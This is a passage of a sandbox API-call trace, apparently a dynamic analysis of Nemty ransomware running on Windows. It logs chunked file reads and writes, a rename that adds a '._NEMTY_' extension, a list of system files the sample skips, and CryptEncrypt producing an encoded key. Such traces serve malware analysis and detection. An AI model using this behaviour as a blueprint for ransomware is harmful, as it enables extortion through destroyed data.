lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.635] CloseHandle (hObject=0xffffffff) returned 0 [0122.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0122.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0122.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png._nemty_kgobjgd_")) returned 0 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0122.636] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cd9227, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cd9227, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28cd020b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbcb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trad_dot.png", cAlternateFileName="")) returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2=".") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="..") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="...") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="windows") returned -1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="rsa") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="NTDETECT.COM") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="ntldr") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="MSDOS.SYS") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="IO.SYS") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="boot.ini") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="boot.ini") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="ntuser.dat") returned 1 [0122.636] lstrcmpiW (lpString1="trad_dot.png", lpString2="desktop.ini") returned 1 [0122.637] lstrcmpiW (lpString1="trad_dot.png", lpString2="CONFIG.SYS") returned 1 [0122.637] lstrcmpiW (lpString1="trad_dot.png", lpString2="RECYCLER") returned 1 [0122.637] lstrcmpiW (lpString1="trad_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0122.637] lstrcmpiW (lpString1="trad_dot.png", lpString2="bootmgr") returned 1 [0122.637] lstrcmpiW (lpString1="trad_dot.png", lpString2="programdata") returned 1 [0122.637] lstrcmpiW (lpString1="trad_dot.png", lpString2="appdata") returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_dot.png", lpUsedDefaultChar=0x0) returned 12 [0122.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_dot.png", lpUsedDefaultChar=0x0) returned 12 [0122.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_dot.png", lpUsedDefaultChar=0x0) returned 12 [0122.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_dot.png", lpUsedDefaultChar=0x0) returned 12 [0122.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0122.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0122.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0122.637] Sleep (dwMilliseconds=0x5) [0122.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcbfbef0, dwHighDateTime=0x1d561e7)) [0122.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfcbfbef0, dwHighDateTime=0x1d561e7)) [0122.645] GetLastError () returned 0x5 [0122.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.645] GetLastError () returned 0x5 [0122.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0122.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="TZy235dVpT3Z+RZ9MiMGU9bpNnKAXH+8Pq4BMA+4pY1PNHX//PVkr9ZEwtFl+uzS\r\nMXFJSIdtMulEDajJjaWd9L52rUGpigGMuAse9UNXZXlwX/spISIfSehRIkhkFKYo\r\nTvQdsThkUNOZUcXpTgB2JH2SYfU2B/HKt9Pbvbl1X7N10bfZl1dXJemjqqlcOfO8\r\nNekDHNj/qlUvSLtBxpGb015WRgcmB4AV9eGclzGqXKXHpxirDeGmAFDmM3AK409X\r\nANpxt9sLQhTgXhRBceytmZJ1yMrsHykBVGJPamgdZPZ2PdboKfI4X6ku9oSai3o/\r\nPy6Q63DaPpg7ZxuhVChXqQ==\r\n", pcchString=0x653e91c) returned 1 [0122.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0122.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.646] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.646] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.679] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, 